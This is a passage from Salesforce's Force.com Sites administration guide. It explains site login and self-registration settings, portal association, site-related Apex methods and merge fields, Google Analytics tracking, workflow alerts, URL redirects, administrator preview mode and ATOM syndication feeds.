Logs when any URL redirect is created, deleted, enabled,


disabled, or changed.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites

1640

Force.com Sites

Managing Force.com Site Login and Registration Settings

Managing Force.com Site Login and Registration Settings


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example,
users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then
vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and
enter the associated portal seamlessly.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites.
Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.
Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated
with registration, login, forgot password, and password changes. You can modify these pages or replace them with your own.
The following login, and registration pages are provided by default:
Page Name

Description

SiteLogin

Default login page. Used to log users in to the associated portal


from your Force.com site.

SiteRegister

Default registration page. Used to register new users for the


associated Customer Portal from your Force.com site.

SiteRegisterConfirm

Default registration confirmation page. The page that users


see on successful registration to the associated Customer
Portal.

Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However,
salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been
authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated
users would encounter an error.
The built-in login process:

Checks to see whether the site is enabled for logins


Checks to see whether the user is a valid user for the site
Allows users to reset expired passwords

The built-in registration process:

Checks new user information against existing users for the Customer Portal associated with the site

1641

Force.com Sites

Managing Force.com Site Login and Registration Settings

Checks to see if a contact already exists for the new user


Creates a new contact, if one doesn't already exist, and associates it with the account for the site
Important: You must update the SiteRegisterController with the Account ID using the following steps:
1. Click Your Name > Setup > Develop > Apex Classes.
2. Click Edit next to SiteRegisterController.
3. Find the private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; line and insert the ID for
the account that you want to associate with new users. The line should look similar to this:
private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Click Save.

Enables the Customer Portal for the new user and sends an email confirmation message
Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process
Note: You can create and enable a person account as a Customer Portal user using the
createPersonAccountPortalUser Apex method. Use createPersonAccountPortalUser to create a person
account using either the default record type defined on the guest user's profile or a specified record type, then enable
it for the site's portal. Person Accounts can only be enabled as high-volume portal users. For more information, see
the Force.com Apex Code Developer's Guide.

To enable public login and registration for your portal:


1.
2.
3.
4.
5.

Click Your Name > Setup > Develop > Sites.


Click the name of the site you want to control.
Click Login Settings.
Click Edit.
From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login
Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option.
Force.com Sites leverages the following portal settings:

Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to
the page specified in the Active Site Home Page field for your site.

Lost Password Template is used for the forgot password process.


Header, Footer, Logo, and Login Message are used for the look and feel on IdeasHome and AnswersHome pages.

For Customer Portals:


New User Template is used on self-registration if a password is not provided.
Default New User License, Default New User Role, and Default New User Profile are used for
self-registration.

6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup
field.
7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security
settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the
Require Secure Connections (HTTPS) setting found at Your Name > Setup > Security Controls > Session
Settings is used to determine the security level.

1642

Force.com Sites

Managing Force.com Site Login and Registration Settings

The following table illustrates the relationship between these settings.


Site-Level Security: Require
Non-Secure Connections (HTTP)

Organization-Level Security: Require Description


Secure Connections (HTTPS)

Not checked

Not checked

Checked

Not checked

Not checked

Checked

Checked

Checked

Organization can use either HTTP


or HTTPS
Site uses HTTP for the post-login
session
Organization can use either HTTP
or HTTPS
Site uses HTTP for the post-login
session
Organization uses only HTTPS
Site uses HTTPS for the post-login
session
Upon login, users see the
secure.force.com domain
Organization uses only HTTPS
Site uses HTTP for the post-login
session

Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected,
and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected,
users logging in to the associated portal from the site will see the secure.force.com domain. For example, if
you registered mycompany.force.com as your custom domain, the URL changes to
https://mycompany.secure.force.com upon login.
Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set
for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL
using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL.
9. Click Save.
You can also enable Sites to use your identity provider for single sign-on.

1643

Force.com Sites

Associating a Portal with Force.com Sites

Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the
Portal drop-down list on the community detail page. To find the community detail page, click Your Name > Setup
> Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Up Your Customer Portal

Associating a Portal with Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

You can enable users to register for or log into an associated portal seamlessly from your site.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites.
Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.
1. Enable the portal for login using the following steps:
a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize >
Partners > Settings.
b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship
Management and click Save.
c. Click Edit for the portal you want to modify.
d. Configure the portal as follows:
i. Select the Login Enabled checkbox.
ii. Select a user for the Administrator field.
iii. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout.
iv. Click Save.
2. If you are using a Customer Portal and want to allow self-registration, follow these steps:
a. Click Your Name > Setup > Customize > Customer Portal > Settings.
b. Click Edit for the portal you want to associate with your Force.com site.

1644

Force.com Sites

Associating a Portal with Force.com Sites

c. Configure the Customer Portal as follows:


i. Select Self-Registration Enabled.
ii. Select Customer Portal User for both the Default New User License and Default New User Profile
fields. Depending on your portal license, you may want to select a different profile for the Default New User
Profile field.
iii. Select User for the Default New User Role field.
iv. Click Save.
Note: Consider the following when allowing self-registration:

Sites does not support the use of Person Accounts for self
registration.
On self-registration through a site:
Validation rules are enforced on user creation.
Validation rules are ignored on contact creation.

3. Associate the site pages with the default portal users:


a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize >
Partners > Settings.
b. Click the name of the portal that you want to associate with your site.
c. Click the name of each profile associated with your portal users and do the following:
i. Scroll down to the Enabled Visualforce Page Access section and click Edit.
ii. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with
that profile to view these pages.
Note: By default, portal users can see all pages enabled for the associated public site, so you only have to
enable the pages that require authentication.
iii. Click Save.
4. Associate your site with the login-enabled portal:
a.
b.
c.
d.
e.
f.
g.

Click Your Name > Setup > Develop > Sites.


Click the site label of the site you want to configure.
Click Login Settings.
Click Edit.
From the Enable Login For drop-down list, select the name of the portal where you want to allow login.
Select the Change Password Page.
Click Save.

For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or AnswersHome
page for the site. To associate the community with one or more portals:
1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers >
Communities.

1645

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

2. Click Edit next to the community you want to make public.


3. From the Portal drop-down list, select the portal to use for this community. You can choose to show the community in
all portals.
Note: For ideas to work with sites, the organization must have an active portal associated with that community.
Otherwise, users will encounter errors.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings
Setting Up Your Customer Portal

Force.com Sites-Related Apex Methods and Expressions


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Force.com Apex Methods


Force.com provides the following Apex methods for use with the site class and Force.com sites:
Name

Arguments

Return Type

Description

changePassword

String newpassword

System.PageReference

Changes the password of the


current user.

ID

Creates a person account using the


default record type defined on the
guest user's profile, then enables it
for the site's portal.

String
verifynewpassword

String opt_oldpassword
createPersonAccount
PortalUser

sObject user
String ownerId
String password

Note: This method is only


valid when a site is
associated with a Customer
Portal, and when the user
license for the default new
user profile is a
high-volume portal user.

1646

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Arguments

Return Type

Description

createPersonAccount
PortalUser

sObject user

ID

Creates a person account using the


specified recordTypeID, then
enables it for the site's portal.

String ownerId
String recordTypeId

Note: This method is only


valid when a site is
associated with a Customer
Portal, and when the user
license for the default new
user profile is a
high-volume portal user.

String password

createPortalUser

sObject user

ID

String accountId
String opt_password

Creates a portal user for the given


account and associates it with the
site's portal.
The optional opt_password
argument is the password of the
portal user. If not specified, or if
set to null or an empty string, this
method sends a new password
email to the portal user.

Boolean
opt_sendEmailConfirmation

The optional
opt_sendEmailConfirmation

argument determines whether a


new user email is sent to the portal
user. Set it to true to send a new
user email to the portal user. The
default is false, that is, the new
user email isn't sent.
The nickname field is required
for the user sObject when using
the createPortalUser method.
Note: This method is only
valid when a site is
associated with a Customer
Portal.
Boolean

Resets the user's password and


sends an email to the user with
their new password. Returns a
value indicating whether the
password reset was successful or
not.

getAdminEmail

String

Returns the email address of the


site administrator.

getAdminId

ID

Returns the user ID of the site


administrator.

forgotPassword

String username

1647

Force.com Sites

Name

Force.com Sites-Related Apex Methods and Expressions

Arguments

Return Type

Description

getAnalyticsTrackingCode

String

The tracking code associated with


your site. This code can be used by
services like Google Analytics to
track page request data for your
site.

getCurrentSiteUrl

String

Returns the value of the site URL


for the current request (for
example, http://myco.com/ or
https://myco.force.com/prefix/).

getCustomWebAddress

String

Returns the value of the Custom


Web Address field for the current
site.

getDomain

String

Returns the Force.com domain


name for your organization.

getErrorDescription

String

Returns the error description for


the current page if it is a designated
error page for the site and an error
exists; otherwise, returns an empty
string.

getErrorMessage

String

Returns an error message for the


current page if it is a designated
error page for the site and an error
exists; otherwise, returns an empty
string.

getName

String

Returns the API name of the


current site.

getOriginalUrl

String

Returns the original URL for this


page if it is a designated error page
for the site; otherwise, returns null.

getPrefix

String

Returns the URL path prefix of the


current site. For example, if your
site URL is
myco.force.com/partners,
partners is the path prefix.
Returns null if the prefix is not
defined, or if the page was accessed
using a custom Web address.

getTemplate

System.PageReference

Returns the template name


associated with the current site;
returns the default template if no
template has been designated.

isLoginEnabled

Boolean

Returns true if the current site is


associated with an active
login-enabled portal; otherwise
returns false.

1648

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Return Type

Description

isPasswordExpired

Boolean

For authenticated users, returns


true if the currently logged-in
user's password is expired. For
non-authenticated users, returns
false.

isRegistrationEnabled

Boolean

Returns true if the current site is


associated with an active
self-regitration-enabled Customer
Portal; otherwise returns false.

System.PageReference

Allows users to log in to the


current site with the given
username and password, then takes
them to the startUrl If
startUrl is not a relative path, it
defaults to the site's designated
index page.

login

Arguments

String username
String password
String startUrl

Note: Do not include


http:// or https://
in the startURL.
setPortalUserAsAuthProvider sObject user

Void

String contactId

Sets the specified user information


within the sites portal via an
authentication provider.

This method is only valid when


a site is associated with a
Customer Portal.
For more information on an
authentication provider, see
Auth.RegistrationHandler.

Force.com provides the following Apex methods for use with the cookie class and Force.com sites:
Name

Arguments

Return Type

Description

getDomain

String

Returns the name of the server


making the request.

getMaxAge

Integer

Returns a number representing how


long the cookie is valid for, in
seconds. If set to < 0, a session
cookie is issued. If set to 0, the cookie
is deleted.

getName

String

Returns the name of the cookie. Can't


be null.

1649

Force.com Sites

Name

Force.com Sites-Related Apex Methods and Expressions

Arguments

Return Type

Description

getPath

String

Returns the path from which you can


retrieve the cookie. If null or blank,
the location is set to root, or /.

getValue

String

Returns the data captured in the


cookie, such as Session ID.

isSecure

Boolean

Returns true if the cookie can only


be accessed through HTTPS,
otherwise returns false.

Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites:
Name

Arguments

Return Type

Description

generateUrlFor

System.PageReference[]

System.PageReference[]

Maps a list of Salesforce URLs to a


list of user-friendly URLs. You can
use List<PageReference> instead
of PageReference[], if you prefer.
Important: The size and
order of the input list of
Salesforce URLs must
exactly correspond to the size
and order of the generated
list of user-friendly URLs.
The generateUrlFor
method maps input URLs
to output URLs based on the
order in the lists.

mapRequestUrl

System.PageReference

System.PageReference

Maps a user-friendly URL to a


Salesforce URL.

For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex Code
Developer's Guide.

Force.com Sites-Related Expressions


Force.com also provides the following expressions to use on Visualforce pages, email templates, and s-controls:
Merge Field

Description

{!$Site.Name}

Returns the API name of the current site.

{!$Site.Domain}

Returns the Force.com domain name for your organization.

{!$Site.CustomWebAddress}

Returns the value of the Custom Web Address field for the current site.

{!$Site.OriginalUrl}

Returns the original URL for this page if it is a designated error page for the
site; otherwise, returns null.

1650

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Merge Field

Description

{!$Site.CurrentSiteUrl}

Returns the value of the site URL for the current request (for example,
http://myco.com/ or https://myco.force.com/prefix/).

{!$Site.LoginEnabled}

Returns true if the current site is associated with an active login-enabled


portal; otherwise returns false.

{!$Site.RegistrationEnabled}

Returns true if the current site is associated with an active


self-regitration-enabled Customer Portal; otherwise returns false.

{!$Site.IsPasswordExpired}

For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.

{!$Site.AdminEmailAddress}

Returns the value of the Site Contact field for the current site.

{!$Site.Prefix}

Returns the URL path prefix of the current site. For example, if your site
URL is myco.force.com/partners, partners is the path prefix. Returns
null if the prefix is not defined, or if the page was accessed using a custom
Web address.

{!$Site.Template}

Returns the template name associated with the current site; returns the default
template if no template has been designated.

{!$Site.ErrorMessage}

Returns an error message for the current page if it is a designated error page
for the site and an error exists; otherwise, returns an empty string.

{!$Site.ErrorDescription}

Returns the error description for the current page if it is a designated error
page for the site and an error exists; otherwise, returns an empty string.

{!$Site.AnalyticsTrackingCode}

The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.

Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use
them within the context of your public site; otherwise, an empty string is returned for all expressions except
{!$Site.Template}, which returns the default template for the site.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings

1651

Force.com Sites

Tracking Your Force.com Site with Google Analytics

Tracking Your Force.com Site with Google Analytics


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your
sites and site pages, including number of visits, number of page views, average time spent on site, and more.
Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites
must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a
tracking code, go to the Google Analytics website.
To track a site using Google Analytics:
1. Sign up for an account at Google Analytics.
2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track.
3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking
Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed
by your account and profile numbers. For example, UA-9049246-2.
4. Click Save.
5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in
the individual pages themselves:
<site:googleAnalyticsTracking/>

Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The
default site template already contains the tag, so all pages using that template will be trackedincluding certain default
pages.
Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.

6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up
to 24 hours to see initial tracking results in Google Analytics.

1652

Force.com Sites

Using Workflow for Force.com Sites

Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web
property ID in the Analytics Tracking Code field for each site.

See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites

Using Workflow for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create or change workflow rules:

Customize Application

To create and edit Force.com sites:

Customize Application

With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For
example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth
limit or when a site's status changes from the active state.
Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth
and service request time, and monthly limits for page views and logins. Workflow rules that are created on the Site object are
evaluated every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that
are created on the Organization and User License objects are evaluated every three hours.
Only email alert actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and
outbound messages, are not available.
To create a site usage workflow rule, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules, then
use the workflow rule wizard with the following settings:
Select Object
When selecting an object, choose one of the following:

Organization (for monthly page views allowed and monthly page views used fields)
Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields)
User License (for the monthly logins allowed and monthly logins used fields)

The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License
object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your
organization.

1653

Force.com Sites

Force.com Sites URL Redirects

Rule Criteria
Enter your rule criteria by doing one of the following:

Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to
trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status
not equal to Active. To add more rows or to set up Boolean conditions, click Add Filter Logic.
Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns True.
For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth
limit:
DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit

In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:
DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit

Workflow actions
When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing
Action.
Tip: To create custom email templates using Site merge fields, click Your Name > Setup > Communication
Templates > Email Templates, then New Template. When configuring the template, use Site merge fields by
selecting Site Fields in the Select Field Type drop-down list of the Available Merge Fields section.

See Also:
Force.com Sites Overview

Force.com Sites URL Redirects


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit site URL redirects:

Customize Application

To view site URL redirects:

View Setup

If you move or reorganize pages on your Force.com site, search engines may have trouble finding the new page locations. To
avoid this, set up site URL redirects to inform users and search engines that site content has moved.
Consider the following while implementing site URL redirects:

You can't redirect error pages or CSS files (files with a .css extension).
Each site can have a maximum of 1,000 redirect rules.

1654

Force.com Sites

Force.com Sites URL Redirects

Query parameters in site URL redirects are matched exactly. However, you can't redirect any URLs that include the
lastMod parameter.
If you have URL rewriting enabled on your site, it runs after any site page redirects. For more information about the
Site.UrlRewriter Apex interface, see the Force.com Apex Code Developer's Guide.

To assign a redirect to a site page:


1.
2.
3.
4.

Click Your Name > Setup > Develop > Sites.


Click a site label.
Click URL Redirects on the site detail page.
Specify the former page location in the Source URL field. The page location must:

Be a relative URL. It can have any valid extension type, such as .html or .php.
Not contain anchors, such as /siteprefix/page.html#target.
Note: Organizations that use sites with prefixes must manually add the prefix to the Source URL and Target URL
fields. Also, if your organization has a root level site and one with a prefix, and you want to redirect a page in your
prefixed site but don't include the prefix in the redirect rule, Salesforce will default to looking for the rule in your
root site instead, resulting in a 404 error.

5. Specify the Redirect Type:

Permanent (301)Select this option if you want users and search engines to update the URL in their systems when
visiting the page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent
redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index the new
page and remove the obsolete source URL from their indexes.
Temporary (302)Select this option if you want users and search engines to keep using the original URL for the page.
Search engines interpret a 302 redirect as one that could change again at any time, and though they index and serve up
the content on the new target page, they also keep the source URL in their indexes.

6. Specify the new page location in the Target URL field. This can be a relative URL or a fully-qualified URL with an
http:// or https:// prefix. Unlike source URLs, target URLs can contain anchors.
7. Click Save.
The Redirect Rules section displays all URL redirect rules you've created for your site. In this section you can:

Edit an assigned redirect rule.


Activate or deactivate a redirect rule.
Delete a redirect rule.
Click the Source URL or Target URL column heading to sort the list in ascending or descending order.

See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites

1655

Force.com Sites

Troubleshooting Force.com Sites Using Administrator Preview Mode

Troubleshooting Force.com Sites Using Administrator


Preview Mode
Available in: Developer, Enterprise and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

If you see errors on site pages and can't figure out the cause, use administrator preview mode to look at them in context and
in greater detail.
Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.

To access administrator preview mode:


1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to preview.
3. In the Site Detail section, click the Preview as Admin link. A new browser window opens with a preview of your site, and
the enhanced error message appears at the bottom of the page.
4. Click Logout of Administrator Preview Mode to clear the administrator cookie and be redirected to the site's home page.
The detailed error messages in administrator preview mode are driven by the <site:previewAsAdmin /> component in
your Visualforce error pages. Starting with Summer '10, new organizations include the <site:previewAsAdmin />
component by default in standard error pages. You must add the component manually to all custom error pages and pages
from older organizations. We recommend that you add it right before the closing </apex:page> tag, like this:
<site:previewAsAdmin />
</apex:page>

Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that
tag elsewhere on your error pages, you will see the detailed error message twice.

See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
Assigning Force.com Site Error Pages

1656

Force.com Sites

About Syndication Feeds

About Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition:

Modify All Data

Subscribe to a feed

No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

Validating Feeds Security


When a user subscribes to a feed, the information is run in a guest user context. This means that you must ensure the guest
user has access to all and only the records appropriate for a guest use before defining any queries.
To validate feeds security:

Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level
security settings.
Create sharing rules to control which records the guest user has access to.

After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available
to the guest user, perform any of the following feeds-related tasks:

To create a new feed, click New.


To view the definition of an existing feed, click the feed name.
To edit an existing feed, click Edit.
To delete an existing feed, click Delete.
To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are
displayed.

See Also:
Defining Syndication Feeds
Testing Syndication Feeds
Public Access Settings for Force.com Sites
Setting Your Organization-Wide Sharing Defaults

1657

Force.com Sites

Defining Syndication Feeds

Defining Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition:

Modify All Data

Subscribe to a feed

No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
Define a syndication feed, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or
the underscore character _. Do not use more than one underscore character in a row.
Description
Describe the feed. For example, Account first name, last name, and region for the last ten accounts created or edited.
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed:

If the SOQL query does not specify a limit, then no more than 20 records are returned.
Query limits can't exceed 200 results. If you make a query with a limit beyond this number, only the first 200 records
are returned.
If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate
value if there is one, or by SystemModstamp value if not
COUNT is not supported.
Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

For more information about aggregate relationship queries, see the aggregate query examples in SOAP API Developer's
Guide.

You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind
Variables for Queries and Mapping on page 1661.
Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query,
because the Force.com platform verifies access and sharing before saving.

1658

Force.com Sites

Defining Syndication Feeds

Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see ATOM-Object Mapping on page 1659.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables
for Queries and Mapping on page 1661.
Max Cache Age Seconds
Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default.
You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.
Active
Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing
to it.

ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to
the corresponding value in a record, for example, Account Name. A full set of mappings represents a news feed, and the
query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated
Account information.
A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope.
Mapping also allows you to apply short labels to various fields for display purposes.
The following table lists each ATOM and object element and explains what values should be provided:
Feed Element

Entry Element Description

fa

Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme
Feed Author Admin Mary" shows the feed author as Admin Mary.

fid

Optional (because default value is supplied). Id of the feed. By default, this value is the
public site URL. If you specify a value, it must be a valid internationalized resource
identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.

fl

Optional (because default value is supplied). Feed link. For example,


fl:"http://www.salesforce.com". News readers usually interpret this element
by linking the feed title to this URL.

fst

Optional. Feed subtitle. For example, &map=ft:"Newest


Opportunities",fst:"Western Division" shows the feed title Newest
Opportunities and subtitle Western Division.

ft

Required. Feed title. For example, ft:"Newest Opportunities".


ea

Required only if fa (feed author) is not specified. Entry author. For example,
ea:"Account created by: " + Account.CreatedBy .

1659

Force.com Sites

Feed Element

Defining Syndication Feeds

Entry Element Description


ec

Required. Entry content. For example,ec:"description for " Name "<br>"


Description shows the value of the Name field with additional text. The output of a
feed for this example resembles the following:
description for Ajax Industries Description

ect

Optional. Entry content of type text, html, or xhtml. For example, ect: html for
HTML content. Default is text.

el

Optional. Entry link. Must be a valid URI. This value is usually a link to another
representation of the content for the entry. For example, the link could be to a record in
the Salesforce user interface. News readers usually interpret this element by linking the
entry title to this URL For example, el:"Account.URl".

es

Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "s account number, website,
and description", ec: Account.Number + " " + Account.Website +
+ Account.Description

If not specified, news readers display the content defined using the ec element.
est

Optional. Entry summary of type text, html, or xhtml. For example, est: html for
HTML content. Default is text. Do not specify a value unless es has been specified.

et

Required. Entry title, a field name. For example, et:Name.

eu

Optional. By default, the required ATOM element <updated> value is automatically


provided by the LastModifedDate of the main entity being queried; usually the object
in the main FROM clause of the SOQL query. This value indicates the last time an entry
or feed was modified. If you wish to change this default behavior, you can specify a
different object or field's LastModifedDate be used. For example:
Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:

eu: MyDate__c
Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactMapping Parameter: eu: Account.LastModifiedDate

The following example shows a valid mapping values for a syndication feed:
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html

Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom
labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of
the guest user. For more information, see Custom Labels and Feeds on page 1661.
You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK.
After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described
above. For more information about testing, see Testing Syndication Feeds on page 1662.

1660

Force.com Sites

Defining Syndication Feeds

Using Bind Variables for Queries and Mapping


You can use bind variables in the WHERE clause of the SOQL query. Bind variables must be in the following form:
{!var_name}

The following query uses a bind variable named accountID.


SELECT Name, Description
FROM Account
WHERE Id = {!accountID}

Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to
the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query
string parameter:
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

You can also use bind variables for mapping values.


The following implementation details apply to the use of bind variables for queries:

You cannot use more than 20 bind variables in a feed definition, queries and mapping combined.
The bind variable name cannot be more than 100 characters.
You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents
part of a string, it must be in quotes. For example, the following is a valid query:
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable
for a literal string:
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'
SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a
filter operation.
You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters
you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.

Custom Labels and Feeds


For feeds that need to be localized into different languages, you can use custom labels to define the string in multiple languages.
Then in the mapping definition, you simply refer to the custom label. When a request come in, the custom label inspects the
guest user language and return the translated text, which is used in the mapping.
Custom labels can be specified in a field with the following syntax:
map_element_name: "{!$LABEL.custom_label_name}"

